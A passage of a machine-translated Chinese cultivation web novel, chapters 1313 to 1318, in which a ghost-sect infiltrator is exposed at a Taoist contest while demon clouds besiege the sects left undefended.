    Zhong Li Muxue screamed, that is, at this moment, Fang Xing''an''s sword light had arrived, and it slashed directly on the head of this hideous evil spirit.


    puff!


    With a soft sound, the evil spirit transformed by the curse was in a strange place.


    But before Fang Xing''an breathed a sigh of relief, the evil ghost''s head instantly recovered its original shape and changed its shape. A mouth bit Fang Xing''an''s sword light, and it was chewed to pieces in a few mouthfuls.


    Fang Xing''an''s face paled, and his eyes dimmed instantly.


    To know that as a sword repairer, the most important thing is to cultivate the sword intent in your chest.


    Therefore, he hit the air twice in a row, and even the Jianmang was broken, causing Fang Xing''an to suffer serious internal injuries.


    At the same time, the audience was full of uproar.


    Just now Fang Xing''an said that Lu Ling is a demon, and many people still don''t believe it.


    But in the scene just now, everyone saw it with their own eyes, and the ghostly spirit that was about to condense into substance was untrue.


    And Fang Xing''an''s defeat made many people''s hair even more terrifying.


    Even Lu Lingfan''s master, Sha Miaoyi, the owner of Xiangsi Garden, couldn''t help but widen his eyes.


    "Lingfan, what''s going on?"


    As soon as the voice fell, a black glow turned into a long whip, suddenly appeared behind Sha Miaoyi, and the whip was drawn on her back.


    Unprepared, there was a violent explosion in Sha Miaoyi''s back, and then she was taken away. After landing, Sha Miaoyi opened her mouth and vomited a big mouthful of blood.


    This blow was truly shocking.


    Everyone looked silly.


    Lu Lingfan laughed loudly, and in the laughter, her eyes gradually turned to pure black, and then she stopped her laughter and said coldly.


    "Lingfan? What can you call my name?"


    "You...you rebel!"


    The elders in Acacia Garden only reacted at this time, and they couldn''t help being angry, and wanted to avenge their heads.


    But Lu Lingfan didn''t even look at them with his straight eyes. The black awns behind him turned into countless long whips, and the elders were enveloped by waving them. After a while, he saw the black awns suddenly gathered, and then he heard from inside. The sound of continuous screams.


    When Heimang dispersed, headless bodies fell one after another.


    Many people who watched this scene were horrified, and Sha Miaoyi was even more furious, and another mouthful of blood spurted out when he opened his mouth.


    Lu Lingfan really enjoyed this feeling. He took a deep breath and slowly said, "What a wonderful smell of blood! Hey, Zhong Li Muxue, since you are my destined enemy, then I will kill you first. !"


    With that said, a black light appeared directly in front of Zhong Li Muxue''s eyebrows within a short period of time.


    Zhong Li Muxue trembled with fright, and turned her head abruptly, which could be regarded as dodge the blow.


    But this is just the beginning, because at this moment, I saw countless black lights exploding from behind Lu Lingfan, like countless shaking water plants, rushing straight away.


    Everyone in the Hall of Ecstasy screamed.


    The owner of the museum, Mei Qing, burned all over, trying to get out of trouble.


    But everything was in vain But in a flash, everyone in the Hall of Ecstasy, as well as Fang Xing''an, were firmly bound by the black whip, and then lifted into the air. .


    In this scene, many people''s blood was cold.


    Among them, the weak-willed man tried to leave here.


    Because in the past Datong Dao competitions, if you are consciously defeated, you can surrender and then withdraw.


    But until then, all the talents realized with horror that they couldn''t live without them.


    Then Lu Lingfan let out a triumphant laugh, "It''s useless, this place has been completely sealed off. If you want to unblock it, you can only die!"


    "What the **** do you want to do? What good is it for you if we die? Don''t you know that you can be resurrected if you die in this Taoist Contest?" Someone shouted in anger.


    But as soon as the voice fell, a black mandala flower suddenly grew out of this person''s mouth, and the huge rhizome exploded his body completely.

 Chapter 1314： 1 Fu Zhen Sha

    The speaker died, and his eyes were full of horror when he died.


    Then Lu Lingfan giggled, "It''s naive! Do you think, since I trapped you here, can I still bring you back to life in peace?"


    Although many people have faintly guessed, these words still dispel the last trace of luck in everyone''s hearts.


    "Who are you? What do you want to do?" Fang Xing''an was not angry, but asked quietly.


    "It doesn''t matter who I am. The important thing is that you die! Even if the seven great caves are dead in name, then the female emperor will naturally be able to completely occupy this space, and this... is the most important thing!"


    Fang Xing''an was shocked, "Are you a ghostly person?"


    "Hahaha! That''s right! How about it, are you surprised?" Lu Lingfan said with a strange smile.


    Zhong Li Muxue couldn''t help roaring: "You wishful thinking! We are here from the six caves, but the only person from Mingxin Immortal Palace is Brother Fang!"


    Upon hearing this, many people''s eyes were bright.


    Yes indeed!


    As long as the Mingxin Immortal Palace is there, then ghosts will not be allowed to come.


    But Lu Lingfan just sneered at this, "That''s right, but you think, since I dare to do this, wouldn''t I make arrangements in advance?"


    "This..." Zhong Li Muxue gaped, not knowing how to respond.


    And everyone''s hearts gradually sank to the bottom.


    Ghosts!


    For thousands of years, it has been the target of the Seven Great Caverns'' efforts to annihilate.


    It wasn''t until the last hundred years that this ghost teaching was gradually declining, and its sphere of influence had retreated to many remote places.


    But at this time, everyone realized that the ghost teaching did not disappear, but has been hidden in the dark, and planted such a shocking conspiracy.


    And if it is true as she said, waiting for the ghosts to return to this realm and waiting for the sentient beings in this realm, then the real creatures will be disgraced!


    Fang Xing''an''s eyes suddenly appeared determined, and he shouted, "Everyone, go! Try to save your strength!"


    "Go? Who do you think can go?" Lu Lingfan said with a sneer.


    But at this moment, a sword mark appeared between Fang Xing''an''s eyebrows, and then a horrible killing intent rose to the sky, instantly crushing the black light that was tied to him, and then turned his back into sword light, pointing directly Lu Lingfan.


    There was a solemn look on Lu Lingfan''s face, but he still said casually: "Will burning sword intent come and fight me? Then I will play with you!"


    As he said, he saw a sudden flash of black light, directly forming countless barriers, blocking Fang Xing''an from advancing.


    Bang!


    With a burst of loud noises like firecrackers, Fang Xing''an has been penetrating hundreds of barriers, blowing the black awns to pieces, but the black awns are like endless, constantly appearing.


    And manpower is exhausted.


    at last.


    Jian Guang was shocked, and Fang Xing''an''s figure reappeared.


    Lu Lingfan''s complexion was also a little pale, so he snorted, "Since you want to die so, then you go to die first!"


    With that said, countless black awns flooded like a tide, and Fang Xing''an was about to be completely covered.


    Fang Xing''an''s eyes appeared decisive, and he took a deep breath, inspiring the last sword in his chest, and he would burst out the strongest in his life, and it would be the last sword.


    But at this moment, only a lazy voice came into his ears.


    "Well, it''s just a game, why take it so seriously?"


    As soon as these words came out, Fang Xing''an was shocked.


    Not only him, all the people present heard these words, and then all turned their heads to look around.


    But before seeing Jinding Pavilion, Xue An stood calmly, and then smiled at everyone.


    "What? Am I wrong?"


    Uh����.


    Many people''s heads can''t turn around.


    When is this, even saying such a thing, is this guy a fool?


    This idea appeared in the minds of many people at the same time.


    Lu Lingfan was even more taken aback, then he looked at Xue An with interest and laughed, "You are Xue An?"


    Xue An nodded, "Yes!"


    "The Lu Family in the Golden Light Cave Sky was destroyed by you?"


    Xue An smiled, "That''s right, but unfortunately there is no reward!"


    An anger flashed across Lu Lingfan''s face, and then coldly said: "I didn''t expect to deal with you specifically, since you talk like this, then I will send you on the road in advance!"


    Following the voice, a high bulge suddenly appeared above the ground, like a monster underground, rushing straight towards Xue An.


    When he approached him, the bulge suddenly bulged upward, shooting out countless black glows from it, and hitting Xue An.


    This kind of formation is enough to scare people with less courage to pass out.


    Because this is simply a scene that only appears in the deepest nightmare.


    But at this moment, when Xue An''s eyes flashed, a talisman seal appeared in front of him.


    An extremely simple talisman that even three-year-old children can practice in this world!


    But when this talisman came out, these black lights that covered the sky and the sun seemed to have seen some extremely terrifying existence, wriggling crazily, and then wanted to escape.


    It can be pointed out by Fu Guang.


    So just a breathing scene, these black lights were evaporated to nothing in a dull howl.


    The blow shocked everyone.


    Even Fang Xing''an''s mouth opened instantly, staring at Xue An dumbfounded.


    at the same time.


    Xue An raised his head and said faintly: "Tampering with the runes on the gods, trapping everyone, and then sweeping them all at once, it really is a good calculation!"


    Lu Lingfan was shocked, his eyes flashed in shock, and he screamed, "Who are you?"


    Xue An''s mouth raised a cold smile, "Don''t you know? My name is Xue An!"


    Lu Lingfan trembled uncontrollably, and the strong tremor in her heart told her that this gentle-looking boy in white clothes is extremely dangerous It''s best to flee here and stay away from him. it is good.


    But Xue An just swept his eyes, and her figure froze in place.


    Then Xue An said indifferently: "Manipulating people''s hearts and playing with desires. For thousands of years, the methods of you ghosts and ghosts have not changed a little!"


    Lu Lingfan''s face instantly paled.


    A cold light flashed in Xue An''s eyes, and he coldly shouted: "Aren''t you showing up?"


    Lu Lingfan screamed, then turned and ran.


    But at this moment, Xue An stepped forward and appeared directly in front of her, and then pointed at Lu Lingfan''s forehead.


    Lu Lingfan''s figure was instantly stiff, but vaguely, there was a miserable howl echoing in everyone''s ears.


    Then I saw above Lu Lingfan''s head, a group of black shadows suddenly jumped out, trying to escape.


    But it hasn''t been able to leave the inch of land, Xue An already grabbed it in the palm of his hand, and then said lightly: "Don''t move!"

 Chapter 1315： Dark clouds

    Just when the masters of all the big caves all entered the Taoist evolution divine cauldron, the time for the big comparison.


    In front of a house in Tianxiangsi Garden in the third cave.


    The female disciples in charge of the guards listened to the sound of ping-pong-pong pounding from the house, and couldn''t help but shrink their necks, not even daring to let out the atmosphere.


    Because at the moment, what was smashing things in the house was Bai Han who was not inferior to Lu Lingfan in Xiangsi Garden, and even started ten years earlier than her.


    As the only true biography of the inner room in Xiangsi Garden, she has the power to live and kill.


    So these female disciples were naturally silent.


    But at this moment, Baihan has no hint of joy.


    On the contrary, her heart is full of resentment and dissatisfaction.


    "Why...why let me stay as a housekeeper, but don''t even let me go? Is it because Lu Lingfan is stronger than me? I don''t accept it! Isn''t she just breaking the curse of Acacia? Just give me time, I can do it too!"


    Baihan roared angrily while smashing the things in his hand.


    at last.


    After a tea time vent, Bai Han let out a sigh, then looked at the slim figure in the smashed mirror, and smiled coldly.


    "Lu Lingfan, if you want to avenge your family in the Big Competition, you might have kicked the iron plate. This Xue An is far from simple as it seems! Hahahaha!"


    Just as Baihan sneered, the ground under his feet suddenly shook.


    White Han was taken aback.


    what happened?


    Could it be an earthquake?


    However, the place where Xiangsiyuan was established is the best blessed place in the third cave. With the protection of the formation, how could there be an earthquake?


    Bai Han was wondering.


    I heard a few exclamations outside the door.


    "Gosh, what is that?"


    Bai Han''s face sank, and he walked out of the room quickly, looking up.


    Then she too was stunned.


    I saw a large black cloud rushing from the northeast, but in the blink of an eye, it had already obscured most of the sky.


    Although they are far apart, Bai Han can still feel the violent power contained in the dark clouds.


    This made her complexion pale instantly, and even her lips lost their blood, and then she looked at the black clouds in the sky that were surging like a tide, and moaned almost desperately.


    "It''s a demon! The black clouds in the sky are all demon spirit!"


    And her despair infected everyone around her.


    Because of the Dao Da Bi, there are all the elites in the Xiangsi Garden, and those who remain in the faction now are some handyman disciples, whose cultivation and strength are very unbearable.


    It can be said that she has the highest status and the strongest strength in Xiangsi Garden nowadays.


    Now when she saw that she was so desperate, many disciples were scared and cried.


    In the sound of sobbing and crying, Bai Han shook suddenly, and then suddenly seemed to understand something, a touch of determination appeared in his eyes, and he jumped up and shouted: "Quick! Start the mountain protection array!"


    But her shout did not elicit much response. Many of the disciples had been frightened and they only knew that they were crying with their heads down.


    At this moment, the black clouds in the sky have already rushed to the front.


    Bai Han was almost mad, and he slapped a disciple who was crying, slapped a few times, and then roared: "Fuck you don''t cry, if you want to live, hurry up with me Open the mountain protection formation, otherwise you will stay here and wait for death!"


    The roar awakened many people.


    At this moment, Bai Han exploded with unprecedented action power. He called for dozens of disciples with fairly good strength, and then rushed to the main hall of Acacia Garden.


    At the same time, the surrounding world has begun to gradually darken.


    It is the dark clouds that have blocked the sunlight.


    And once the black cloud completely covers the sky, then this third cave that has stood for thousands of years without falling down is likely to be wiped out.


    Bai Han may have a lot of dissatisfaction with the teacher, especially for Lu Lingfan.


    But at this moment of life and death, the first thing she thought of was her identity as a preacher of the right way.


    Therefore, at this moment, she can no longer take care of everything in the past, she just wants to open the mountain protection formation of Xiangsi Garden as soon as possible, so as to survive this time.


    Otherwise, he might be a sinner through the ages.


    But time waits for no one, especially the disciples who followed Bai Han into the main hall of Acacia Garden are not too strong.


    In this case, it is easier said than done to forcibly open the guarding formation.


    The result of dozens of disciples trying their entire body to instill in the formation pattern, it only caused bright spots to appear on the formation pattern.


    At this time, the light outside was declining sharply, and the wind whizzed past, as if it had instantly changed from a langlang human world to a ghostly ghost.


    White Han gritted his teeth, a resolute color appeared in his eyes, and then forcibly reversed his blood.


    puff!


    White pan spit out blood.


    "Senior Sister!"


    "Sister Bai!"


    These disciples all exclaimed when they saw this.


    Normally, when they called Sister Bai, they might still have many thoughts in their hearts.


    But today, it was they who really called out Senior Sister.


    Because of Baihan''s performance at the moment, they all admire them very much.


    White Han coughed blood and roared: "Look at what I am doing, hurry up and start the big battle!"


    This loud roar made one of the many disciples present, and hurriedly concentrated on urging the cultivation base.


    At the same time, Baihan murmured softly while vomiting blood.


    "Damn, this time I lost a lot of money. At least three hundred years of cultivation was ruined. Could it be that I really can''t keep up with Lu Lingfan in my life?"


    Although she muttered so much, Baihan''s movements did not stop at all, but seeing her hands move together, each of them brought out bursts of brilliance, but it also made her face paler.


    at last!


    When Baihan''s face was pale to almost transparent, Acacia Garden suddenly shook, and then a brilliant brilliance surged up In an instant, a curtain of light was opened, and the whole Acacia Yuan was firmly guarded.


    Not only that, the brilliance of this mountain-protecting formation rushed straight into the sky, blasting a huge hole out of the black clouds that were about to enclose.


    It seemed to be an illusion, when the black cloud disappeared, many people heard a sad scream.


    Seeing this scene, the many disciples in Acacia Garden took a sigh of relief. In any case, the most dangerous moment has passed.


    Many disciples in the main hall looked at Bai Han with admiring eyes.


    But at this moment, I saw this Bai Han''s figure swayed and almost fell to the ground.


    "Senior Sister Bai!" Many disciples screamed, and several of them rushed over directly, preparing to support Bai Han.


    Bai Han waved his hand, "Don''t touch me!"


    Then he staggered, then fell to the ground, and said weakly.


    "I''m fine, you all disperse and defend yourself! I am here to control the formation!"

 Chapter 1316： Ghosts

    Although these disciples couldn''t bear it, they knew the current situation.


    Acacia Garden is already an empty city. Although the mountain protection formation has been opened, who knows what will happen, so the most important thing at the moment is to do a good job of defense.


    As the strongest person in Acacia Garden today, Bai Han naturally wants to stay here to control everything.


    Therefore, these disciples all nodded at Baihan, and then dispersed.


    As soon as everyone left, Baihan couldn''t help but vomited a mouthful of blood, then wiped the blood stains from the corners of his mouth and smiled at himself.


    "Damn, my mother has a lot of blood! Who can stand the vomiting like this?"


    As soon as the voice fell, a mouthful of blood came out.


    Bai Han silently wiped off the blood stains, a sharp look flashed in his eyes.


    The reason she resisted until everyone dispersed and vomited blood was because she didn''t know what these disciples thought.


    As the pillar of Xiangsi Garden today, she can only act as if nothing had happened.


    Damn, I don''t know if it''s worth it! Bai Han murmured silently in his heart.


    At this moment, there was a grotesque laugh outside suddenly.


    "Tsk tusk, is this the so-called third hole Tianxiangsiyuan? The mountain protection formation is good, but unfortunately there are no masters!"


    Following the voice, but under the dark clouds, a demon with blue face, fangs and a head sore appeared in front of everyone.


    At this moment, although it was only the size of a fist, the facial features were clearly recognizable, and the very charming head sore gave out a sweet smile.


    "That fellow has already coaxed the people from several big caves into the Taoist Grand Contest. Naturally, there are no more people left in the school!"


    "Hey, there are so many little ladies, this time I have to enjoy it! I have watched the white bones in Li Guidao for thousands of years, and I am tired of seeing it!" The green face demon roared excitedly A few times, and then he took a blow, and went straight down.


    boom!


    A terrifying shock wave instantly swept across the world in a radius of ten miles.


    The whole Acacia Garden trembled slightly, and the mountain protection formation was also dimmed, but there was no slight fluctuation.


    But at the same time, Bai Han, who was controlling the formation in the main hall, was struck by lightning, spraying blood from his mouth and nose.


    "Oh! It''s interesting!" The demon grinned grinningly.


    "Why? Lianxiangxiyu?" The demon said jealously with sores on his face.


    The demon laughed, "It''s just a sigh!"


    As he said, he leaned down and smiled grimly at Acacia Yuan in the mountain protection formation: "My little lady, if you are sensible, you will surrender as soon as possible. I will save you by then, otherwise, wait until the formation is broken. Time is when you die!"


    The sound shook the four fields, and the faces of the disciples remaining in Acacia Garden were all pale.


    But at this moment, Baihan''s sneer sounded from the main hall, "My old lady, I am a serious inheritor of Taoism, how can I yield to you demons?"


    Baihan''s words instantly angered the demon, "Okay! Then I''ll see how long you can last. Don''t worry, we have time. Don''t think that your teacher will come to help you, because they are very It is possible that he has already lost his life in the Datong Competition!"


    The demon laughed loudly, and punched again.


    boom!


    This time Acacia Garden did not vibrate, only the main hall trembled.


    The facial features of Bai Han were shocked with blood, but she gently lowered her head, spit out a **** saliva, and wiped her face fiercely.


    "Do you think you can bluff my old lady with just a few words? Tell you, my old lady, although I am a woman, I am not the kind of coward who takes refuge in your group of demons to survive. I''m consuming it with you!"


    The voice was full of anger and arrogance.


    Many disciples in Acacia Garden secretly shrank their necks, this is the Senior Sister Bai in their impression!


    The demon snorted coldly, "Okay! Then I''ll see how long you can last!"


    After all, he turned and left first.


    As soon as he walked away, the aura of Bai Han in the main hall instantly fell, and then he trembled.


    "Damn, this time I lost a lot! Master, if you don''t come back, I don''t know how long I can last!" Bai Han muttered softly.


    But she didn''t know.


    When the sky in the third hole was obscured by dark clouds.


    The other big caves are similar.


    But because the incident happened suddenly and the several big Dongtian sects were extremely empty, many sects did not have the good luck of Xiangsiyuan at all, but were taken away by these demons.


    Even the Hall of Ecstasy in the second cave sky failed to get rid of its destruction.


    But under this circumstance, Jinguang Dongtian, who ranked last, magically persisted.


    When the black cloud just rose.


    It is located in a small town north-northwest of Jinguangdong Tian, ??only a thousand miles away from Jinding Pavilion.


    In a small medical hall with two white lanterns hanging in front of the door, an old man in shabby clothes is expressing his gratitude with excitement.


    Lu Chuzhen smiled, "You don''t have to be polite, old man, it''s just a matter of effort!"


    The old man left with great gratitude.


    Lu Chuzhen escorted him out of the entrance of the hospital, and many pedestrians on the street smiled when they saw her.


    "Doctor Deer!"


    "Doctor Deer early!"


    These shouts one after another, Lu Chuzhen responded with a smile, and then prepared to turn back to the house.


    But at this moment, in the distant sky, a black line slowly appeared.


    Lu Chuzhen suddenly turned around and looked up with horror.


    Suddenly, but seeing the sky full of black light flooding like a tide.


    Such strange sights naturally attracted the exclamation of countless people.


    Lu Chuzhen did not hesitate to grab the two soul-slashing lamps in front of the door, then jumped up, turned into streamers, and went straight to the distance.


    All the people in the small town looked stupid, because they didn''t expect that the doctor who had benefited many people with superb medical skills not long after coming to the town to open a medical clinic was actually a practitioner.


    at the same time.


    There was also a great chaos in the Golden Ding Pavilion.


    Compared to other elites who have done their best, Jinding Pavilion''s condition is actually much better.


    Because Xue An left with only Xing Yushu and Sheng Miaotong.


    And these two people only joined Jinding Pavilion later, so the original strength of Jinding Pavilion can be said to be basically unchanged.


    But when they saw the black light coming, these people couldn''t help being dumbfounded.


    It wasn''t until half of the sky had been obscured that someone exclaimed, "It''s the spirit of a ghost!"


    And this shout also made the panicked crowd even more desperate.


    The spirit of the demon that covered the sky and the sun clearly showed that the demon on the opposite side was extremely powerful.


    And what this means, obviously needless to say.


    But at this time.


    I saw a glorious light suddenly flying over the Jinding Pavilion, and then gave a cold shout.


    "You wait for the speed to start the mountain protection formation, I will resist these demons!"

 Chapter 1317： Never retreat

    Hearing this voice, many people in Jinding Pavilion were taken aback, and then there was a low uproar.


    "It''s Senior Sister Deer!"


    "Senior Sister Deer is back!"


    Many disciples rejoiced.


    The expressions of the elders in Jinding Pavilion all changed.


    Why did she come back suddenly?


    But at this moment, the matter was urgent, and they had so much scruples, and immediately began to operate quickly, trying to open the mountain protection formation.


    But because the Jinding Pavilion''s strength has declined in recent hundreds of years, and many places have fallen into disrepair for a long time, even this mountain protection formation has not been maintained for a long time, so it can''t be activated in an emergency.


    It was such a delay, but seeing that the black cloud was about to completely cover the entire sky.


    Once it is formed, then the Golden Cave Sky is likely to fall.


    Many people gave out howls of despair.


    But at this moment, when Lu Chuzhen suddenly raised her head, her eyes were shining brightly, layers of golden light appeared around her body, and then she rushed forward.


    "What is she going to do?" Many people in Jinding Pavilion exclaimed.


    "Could she be mad? This way, she will directly shake the sky and the black clouds, she will probably be fascinated!" someone beside her exclaimed.


    But Lu Chuzhen''s figure didn''t stop with anyone''s thoughts, but rushed straight into the sky with a decisive posture.


    Everyone gradually opened their mouths and watched this scene blankly.


    But seeing Lu Chuzhen in the darkness, Lu Chuzhen''s figure seemed to light up the last candle in the world, and the golden light that it emitted was so dazzling that you dare not look directly.


    Seeing this scene, many people have tears rolling down their eyes.


    Even the people who had many opinions on Lu Chuzhen before, can''t help being silent at this moment.


    Because right or wrong is a matter of ignorance, Lu Chuzhen at this moment is obviously burning herself to win time for everyone.


    At the same time, there was a loud bang.


    Lu Chuzhen''s figure has already rushed to the sky, and it is directly rammed with the black cloud that is about to bridge together.


    But seeing the golden light burst out suddenly, the black clouds within a hundred li were swept away.


    Many people cheered upon seeing this scene, thinking they saw victory.


    But at this moment, he heard a cold snort.


    "A stupid woman who dares to stop our ghost teachings is really looking for death!"


    Following the voice, a demon with half of its body turned into a dry bone appeared in the field.


    At this time, the golden light had dissipated, Lu Chuzhen stood extremely pale on the sky, wet his hair with sweat, and slid down his chin.


    This is a sign of excessive overdraft repair base and imminent loss of strength.


    And the appearance of this demon made the crowd who had just cheered instantly lost speech.


    The demon looked at Lu Chuzhen coldly, and then there was a gloomy sneer on that side, just like a normal person, even on his pretty handsome face.


    "You can break my dark cloud, which is pretty good! So if you surrender to me now, I can consider forgetting the past!"


    Hearing these words, many people''s hearts gradually tightened together.


    Because no one knows what choice Lu Chuzhen will make.


    Just under the attention of the public, Lu Chuzhen gradually recovered her calm, then raised her head to look at the demon in the distance, and shook her head.


    "Quit this world, otherwise, kill!"


    These words changed the face of the demon, and then said grimly: "Very well! Since you are looking for death by yourself, then I will fulfill you!"


    As he said, he saw the demon rush forward, coming directly to Lu Chuzhen, raising his hand and punching.


    Lu Chuzhen showed a golden light around her body, trying to resist this punch, but even in her heyday, she was not the opponent of this demon, and now she is naturally even more vulnerable.


    boom!


    With a punch, Lu Chuzhen flew upside down hundreds of meters away, then opened his mouth and spit out a big mouthful of blood.


    Many people couldn''t help but screamed.


    "Sister Deer!"


    "Master sister!"


    These shouts resounded through the sky, Lu Chuzhen wiped the blood stains from the corners of his mouth, but a redeem-like smile appeared on his face, and then coldly shouted: "Get out of this world!"


    The demon was furious, "Die to me!"


    As he said, he rushed forward again, punching down.


    boom!


    Lu Chuzhen was blasted out for the second time. This time she vomited not only blood, but also shattered internal organs.


    But she still didn''t take a step back, but looked at the demon coldly, "Get out! Get out! This! World!"


    Many people can''t help but burst into tears.


    No matter what he did right or wrong in the past, now Lu Chuzhen is paying for everything with his life.


    The demon was so angry that he roared again and again.


    In fact, he was also surprised.


    Because in his eyes, this woman is clearly at the end of the crossbow, and after receiving two punches from her, she has definitely been seriously injured.


    But why is she still so calm? Calm down to the point of arrogance?


    This makes him who has been used to the intriguing life in the ghost world for a long time, completely incomprehensible.


    But the lack of understanding does not hinder his naked killing intent.


    "Die me!"


    The demon rushed forward again, this time there seemed to be countless black glows in his fist, and he blasted down at a shocking speed.


    "No!" Many people exclaimed.


    "Senior Sister Deer, run! You can''t catch this punch!" someone shouted even more choked up.


    But when Lu Chuzhen faced such a punch, she still didn''t retreat. Instead, she took a deep breath and burned her whole body''s cultivation base, stepped forward, and greeted her.


    boom!


    After hearing a loud noise, the golden light of Lu Chuzhen''s body was finally completely shattered, and the aftermath of the fist fist directly blasted Lu Chuzhen upside down, vomiting blood in the middle of the way.


    Many people who watched this scene got chills.


    The demon laughed triumphantly.


    Amidst the laughter, Lu Chuzhen''s figure finally barely stopped.


    But at this moment, her face was as pale as paper, her eyes were dull, and dark red blood was flowing out of her mouth and nose.


    All this shows that she has reached the end of the real battle.


    At this time, many people in Jinding Pavilion were already crying.


    But Lu Chuzhen didn''t realize all this, she just slowly raised her hand, looked at the two white soul-slashing lamps that turned into bracelets on her wrist, and smiled lightly.


    "Yu He, back then... I did have my own difficulties. I was supposed to die and apologize that day, but I want to redeem it! Today, I finally have this opportunity! So Yu He, don''t go far, wait for me , I am looking for you!"


    With that, Lu Chuzhen kissed the bracelet lightly, then raised her head and slowly said to the demon who was laughing.


    "Get out! Out! This! World!"


    The demon was taken aback.


    At the same time, seeing Lu Chuzhen''s whole body shimmering with golden light, like a boiling flame, she rushed forward.


    The demon trembled, and a look of panic appeared in his eyes, and roared, "What a lunatic!"


    Saying is a palm shot.


    boom!


    Lu Chuzhen was fanned far away.


    Many people in the Jinding Pavilion turned their heads and couldn''t bear to look any more.


    But when the demon ghost was about to make the next move, he suddenly felt his feet sink and looked down, only to see that Lu Chuzhen didn''t know when he had embraced one of his legs.


    The demon was taken aback.


    Lu Chuzhen showed a relief smile on her face.


    "go to hell!"


    After all, the golden light around Lu Chuzhen''s body suddenly brightened, and then it exploded.


    boom!


    Above the sky is like a firework exploded.


    A huge amount of golden light directly swept across the world with a radius of thousands of miles, sweeping away the black clouds in the range.

 Chapter 1318： The first cave sky, where Jianzhou is located

    The golden light gradually dissipated, and everyone in the Jinding Pavilion looked at the clear blue sky blankly, all in a daze.


    Then many people''s eye sockets gradually became red.


    But at this moment, only a black light flashed by, and the demon ghost whose body was blown torn apart fell out of it in embarrassment.


    His appearance caused an uproar in Jinding Pavilion.


    "Not dead?" Many people exclaimed.


    At the same time, the demon spit out angrily, and said bitterly: "Bah, fucking, thank you, Lord Ben hides fast, otherwise you will really be killed by your crazy lady! It''s a pity, you just count. What can the soul blew up? Still can''t change the fate of this sect''s destruction!"


    Speaking of this, the demon laughed strangely.


    The ridiculous sound stopped suddenly.


    Because at this moment, I saw the whole building of Jinding Pavilion tremble suddenly, and then saw layers of brilliance spread upward, and the whole Jinding Pavilion was immediately protected in it.


    The Great Formation of Protecting the Mountains finally opened to success thanks to the unremitting efforts of many elders and disciples of Jinding Pavilion.


    Although Guanghua was still a little trembling and flickering at the beginning, because the left-over formation was extremely tyrannical, the formation light curtain stabilized in the blink of an eye.


    The demon watched this scene blankly, and then roared, "Asshole! Blame this crazy lady!"


    But this is the end, and any anger has no effect.


    Therefore, this demon can only look at Jinding Pavilion unwillingly, and said bitterly: "Don''t be proud of you. After a while, you guys will be slaughtered! Humph!"


    After all, the demon flashed, turned into a black light, and disappeared.


    Seeing him leaving, the hearts of the people in Jinding Pavilion were slightly lowered.


    But no one''s mood is relaxed, because a terrifying thought has arisen in their hearts.


    Even the demons like Jinguangdongtian have not let go, and almost succeeded.


    Then...Will the situation of the other big caves become more unbearable?


    This idea weighed heavily on everyone''s heart.


    And just when Jinding Pavilion was lucky enough to have temporarily escaped the catastrophe.


    In the far east, there stands a sword state surrounded by brilliance and outstanding people!


    And this is the first cave, where Mingxin Palace is located.


    As the top ranking among the seven caves, no one has ever dared to doubt this ranking.


    Mingxin Palace has become a fairy sect in this world.


    Even this land is named Jianzhou because of the existence of Mingxin Palace.


    In this magical land, there are countless strangers and strangers, but the most are still swordsmen who hold a three-foot sharp sword and commit themselves to life and death.


    It is also because of such a profound background that the position of Mingxin Palace is so detached, and it is even called a fairy palace.


    At this moment, in the middle of Jianzhou, on the Jianshan mountain that soars into the clouds and tops the sky.


    Mingxin Palace is like a flawless beautiful jade, slowly floating in the clouds on the top of the peak.


    If you look closely, you will find that this Mingxin Palace was actually held up by an ordinary sword.


    And above Mingxin Palace, six chains stretched out, which were firmly connected with the sword mountain below.


    This is where the world-famous Mingxin Palace is located.


    now.


    In the sword refining pavilion on the top floor of Mingxin Palace, the elder holding the sword is sitting in front of the small window playing chess.


    It''s just that his chessboard is composed of criss-crossed sword intents, and the chess pieces float on top of it repeatedly, which is dizzying.


    Tian Yuanqing, the chief disciple of Mingxin Palace, stood by his master respectfully, not impatient.


    Because he knows that this game of chess played by his master often takes a whole day.


    But he was able to stabilize his mind, but Nianxuexin on the side could no longer hold back.


    I saw her eyes drifting out of the small window from time to time, and her small movements began to increase.


    After a while, she finally couldn''t help but whispered to Tian Yuanqing next to her: "Brother, is he asleep, Master?"


    Tian Yuanqing was a little bit dumbfounded, and could only make a stern face, "Little Junior Sister, Master is understanding Jianxin through chess. Don''t talk nonsense, be careful of being heard by Master!"


    Nian Xuexin curled her lips, "Cut, you said the same last time, but that time, Master played three full days of chess. In the end, if it weren''t for the arrival of Master Swordsman, his old man would have been screaming and sleeping. Yeah!"


    Tian Yuanqing has a tolerant temperament, especially not good at arguing with others. In addition, Nian Xuexin is the youngest and is the most beloved younger sister of their brothers, so Tian Yuanqing was speechless for a while, I don��t know. What to say.


    But at this moment, a chess piece suddenly appeared on top of Nian Xuexin''s head and knocked her forehead lightly.


    "Xue Xin, are you talking about being a teacher secretly again?" The sword elder slowly opened his eyes and said with a smile.


    Nian Xuexin was smashed, then she touched her head and smiled: "Master, you are awake!"


    "Nonsense, I didn''t fall asleep!"


    Nian Xuexin smiled, "Didn''t I think you were asleep! Master is really amazing!"


    The elder holding the sword is angry and funny. As the head of the five elders and the well-deserved head of Mingxin Palace, he is helpless against himself, the smallest disciple.


    So I could only shook his head, "You skin monkey! I asked you to stand here to serve, to hone your swordsmanship. You are not good, but the half-day scene is already too temperamental. I want to be your master. In front of me..."


    "Standing for a full month, and then the master thinks that your Tianzong wizard is worthy of use, and finally taught you the true meaning of kendo, only then has the current cultivation base!" Nian Xuexin took it smoothly, and then a little helpless Said.


    "Master, you have said these words twelve hundred and thirty-one times! The disciples already know how to recite!"


    "Nonsense, how can there be so much? It''s only 1,211 times!"


    "You were drunk with the tincture you drank with Uncle Sword Grinder two days ago, but you have said it twenty times! Uncle Sword Grinder turned pale when he heard it, and almost destroyed the Jiujian Pond with a single sword!" Nian Xuexin breaks Point to the sword to calculate.


    Holding the sword awkwardly scratched the back of his head and looked at his big apprentice Tian Yuanqing, "Is there anything like this?"


    Tian Yuanqing thought for a moment, then nodded.


    "It''s no wonder that the sword-grinding servant has been in retreat since that day!" The elder holding the sword whispered a few words, seeing Nian Xuexin looking at her with piercing eyes, her old face flushed, and he quickly coughed lightly.


    "Uh, Yuan Qing! Has your Junior Brother Fang come back?"


    Tian Yuanqing shook his head, "According to time, Junior Brother Fang should have just entered the Orthodox Grand Contest!"


    Hearing the words of Taoist Dabi, a flash of disdain flashed in his sword-holding eyes, "Daoist Dabi, haha! Even the name is completely different from the original meaning of the original ancestors!"


